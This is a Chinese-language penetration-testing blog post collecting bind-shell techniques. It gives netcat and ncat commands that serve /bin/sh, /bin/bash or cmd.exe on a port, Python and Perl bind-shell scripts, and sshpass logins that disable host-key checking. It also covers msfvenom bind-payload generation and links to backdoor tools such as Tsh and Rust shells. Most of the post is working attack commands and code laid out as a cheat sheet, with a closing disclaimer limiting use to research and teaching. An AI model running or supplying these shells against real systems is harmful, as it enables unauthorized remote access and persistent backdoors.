正向 bind shell:
反向 reverse shell:
控制端监听端口,被控端主动发起连接去连接控制端。
PS:
1、发现博客园最近无法访问,如果参考连接文件无法阅读,可以私聊我获取相应代码。
2、各种语言的都整了一份,主要是为了实现我的收集癖,正常的测试过程中不需要这么多。
被攻击服务器执行:
nc -lp 4444 -vv -e /bin/sh
nc 192.168.1.1 4444
被攻击服务器执行:
ncat -nlvp 4444 -e /bin/bash --allow 192.168.1.1 --ssl
ncat -nlvp 4444 -e cmd.exe --allow 192.168.1.1 --ssl
攻击主机执行:
ncat -nv 192.168.1.1 4444 –ssl
#Linux版本:
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',4444))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"],stdin=talk,stdout=talk, stderr=talk, shell=True)
#python3 通用 bind shell
https://github.com/melardev/PythonBindShell/blob/master/bind_shell.py
ssh 客户端用户名@服务器ip地址
ssh root@192.168.0.1
SSH扩展:sshpass-非交互式远程执行SSH
ssh非交互式密码授权(二):sshpass让ssh支持password参数
https://www.chenyudong.com/archives/sshpass-ssh-password-parameter-non-interactive-ssh.html
#实例1:直接远程连接某台主机:
sshpass -p xxx ssh root@192.168.1.1
#实例:本地执行远程机器的命令:
sshpass -p xxx ssh root@192.168.1.1 "ethtool eth0"
解决著名的第一次问题:
在ssh第一次去访问机器的时候,ssh会提示你是否需要将目标ip写入到系统的已知主机中。因为这个的输出会干扰sshpass判断何时应该输入密码。
对于未连接过的主机。而又不输入yes进行确认,
1、进行sshd服务的优化:
# vim /etc/ssh/ssh_config
StrictHostKeyChecking no
# vim /etc/ssh/sshd_config
GSSAPIAuthentication no
UseDNS no
# service sshd restart
2、通过指定参数-o StrictHostKeyChecking=no让ssh自动添加到已知主机文件中。
sshpass -p xxx ssh -o StrictHostKeyChecking=no root@192.168.1.1
SSH扩展:Tsh类ssh后门
Tsh是一个体积小巧类似于ssh的后门工具,支持正向与反向连接
https://github.com/orangetw/tsh
#Dropbear 安装配置与启动ssh服务详解 - 简书
https://www.jianshu.com/p/dc1759a55cbd
JavaBindShell #Java 正向连接后门:
https://github.com/melardev/JavaBindShell
#支持windows与linux,未进行测试
KotlinBindShell#Kotlin正向连接后门:
https://github.com/melardev/KotlinBindShell
#支持windows与linux,未进行测试
#JSgen
#生成Node.js中的SSJI绑定和反向转换外壳JS代码生成器
https://pentesterslife.blog/2018/06/28/jsgen/
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
#未进行测试,理论上支持跨平台
GoBindShell
https://github.com/melardev/GoBindShell
#简单的golang跨平台bind shell
Ruby-Bind-and-Reverse-Shells
https://github.com/Hood3dRob1n/Ruby-Bind-and-Reverse-Shells
#未进行测试,理论上支持跨平台
#!/usr/bin/env perl
# Author : Hoanx-0
use Socket;
use strict;
use feature ':5.10';
print "Please enter the RHOST : ";
my $rhost = <STDIN>;
chomp $rhost;
print "Please enter the RPORT : ";
my $rport = <STDIN>;
chomp $rport;
say ("[*] Started bind TCP handler against $rhost:$rport");
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
bind(S,sockaddr_in($rport, INADDR_ANY));listen(S,SOMAXCONN);
for(;$rport=accept(C,S);
close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};
rust-backdoors #Rust bind and reverse shell
https://github.com/LukeDSchenk/rust-backdoors
#rust跨平台bind and reverse shell
0x11 msfvenom
Metasploit 在"cmd/unix"下具有多个有效负载,可使用 Metasploit 的msfvenom生成生成单行绑定或反向外壳:
#利用 msfvenom 生成shell 的方法
https://zhuanlan.zhihu.com/p/159078614
#查看所有反弹shell模块
msfvenom -l payloads |grep "cmd/unix" |awk '{print $1}'
msfvenom -l payloads | grep 'cmd/windows'
#window bind案例
msfvenom -p windows/meterpreter/bind_tcp LPORT=53 X > /root/Desktop/test.exe
#Linux bind案例
msfvenom -p cmd/unix/bind_awk LHOST=1.1.1.1 LPORT=4444 R
#基于ICMP正向绑定shell的python3.x脚本
https://github.com/dc401/icmp-bindshell
#未进行测试,理论上支持跨平台
END
本文始发于微信公众号(NOVASEC):反弹shell之Linux Bind shell
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论